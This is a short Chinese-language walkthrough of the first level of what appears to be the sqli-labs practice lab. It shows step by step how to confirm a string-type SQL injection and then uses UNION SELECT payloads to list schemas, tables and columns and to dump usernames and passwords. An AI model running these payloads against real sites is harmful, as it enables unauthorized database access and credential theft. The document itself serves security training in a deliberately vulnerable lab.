第一关基于错误的字符串/数字型注入
第一关打开,请输入id数值作为参数,那就输呗整个1,2,3看看效果
通过ID数值得变动,页面也随之发生变化,然后就是判断SQL语句是否拼接,是字符型还是数字型
输入单引号‘会爆出
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'' LIMIT 0,1' at line 1
输入双引号则正常,这里就可以判断存在注入漏洞,注入点为 id=1‘
?id=1 and 1=1 不报错
?id=1'--+不报错
?id=1'报错
可以判断存在sql注入漏洞,判断注入类型为字符型因为该页面存在回显
?id=1' and 1=2 union select 1,2,3 --+ and1=2始终为假的条件,旨在阻止原始查询的结果返回
?id=1' and 1=2 union select 1,version(),database() --+查看数据库版本和名称
?id=1' AND 1=2 union select 1,(select group_concat(schema_name) from information_schema.schemata),3 --+ 收集关于数据库模式结构的信息
id=1' AND 1=2 union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema='security')--+ 查询security内的所有表名
?id=1' AND 1=2 union select 1,2,(select group_concat(column_name) from information_schema.columns where table_name='users') --+ 爆破出列名
?id=1' AND 1=2 union select 1,(select group_concat(password) from security.users) ,(select group_concat(username) from security.users) --+ 爆破出用户和密码